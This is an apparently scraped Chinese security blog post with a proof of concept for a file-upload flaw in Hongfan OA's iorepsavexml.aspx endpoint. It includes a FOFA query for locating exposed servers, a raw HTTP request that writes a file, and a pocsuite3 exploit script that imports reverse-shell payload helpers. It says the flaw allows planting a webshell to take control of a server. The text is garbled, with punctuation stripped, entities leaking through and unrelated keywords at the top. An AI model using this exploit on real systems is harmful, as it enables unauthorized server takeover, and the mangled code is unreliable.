重庆所有做网站的公司,新闻今天的最新新闻,企业网站备案多少钱,南京江宁网站制作公司免责声明
文章中涉及的漏洞均已修复#xff0c;敏感信息均已做打码处理#xff0c;文章仅做经验分享用途#xff0c;切勿当真#xff0c;未授权的攻击属于非法行为#xff01;文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的…免责声明
文章中涉及的漏洞均已修复敏感信息均已做打码处理文章仅做经验分享用途切勿当真未授权的攻击属于非法行为文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失均由使用者本人负责作者不为此承担任何责任一旦造成后果请自行负责
漏洞描述
红帆OA 存在任意文件读取漏洞攻击者可通过此漏洞上传webshell木马获取服务器控制权限 fofa语句
app红帆-ioffice || app红帆-HFOffice
poc加检测
POST /ioffice/prg/set/report/iorepsavexml.aspx?keywritefilefilenamecheck.txtfilepath/upfiles/rep/pic/ HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtmlxml,application/xml;q0.9,*/*;q0.8
Accept-Language: zh-CN,zh;q0.8,en-US;q0.5,en;q0.3
Accept-Encoding: gzip, deflate
Cookie: ASP.NET_SessionIdlcluwirkrcqj42iuxfvafoq4
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 3512345678 上传成功后访问/ioffice/upfiles/rep/pic/check.txt查看有无成功写入 poc脚本
脚本用的pocsuite框架
# _*_ coding:utf-8 _*_
# Time : 2023/12/24
# Author: 炼金术师诸葛亮
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD, random_strclass iorepsavexml(POCBase):pocDesc 红帆OA iorepsavexml.aspx文件上传漏洞author 炼金术师诸葛亮createDate 2023-12-24name 红帆OA iorepsavexml.aspx文件上传漏洞def _verify(self):result {}url self.url /ioffice/prg/set/report/iorepsavexml.aspx?keywritefilefilenamecheck.txtfilepath/upfiles/rep/pic/check_path self.url /ioffice/upfiles/rep/pic/check.txtheaders {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47,Accept: text/html,application/xhtmlxml,application/xml;q0.9,*/*;q0.8,Accept-Encoding: gzip, deflate,Cache-Control: max-age0,Connection: close,Cookie: ASP.NET_SessionIdlcluwirkrcqj42iuxfvafoq4,Content-Type: application/x-www-form-urlencoded}try:data 123456789response requests.post(url, headersheaders, datadata)if response.status_code 200:check_response requests.get(check_path, headersheaders, verifyFalse)if check_response.status_code 200 and 123456789 in check_response.text:result[VerifyInfo] {}return self.parse_output(result)except Exception as e:passregister_poc(iorepsavexml)
脚本利用
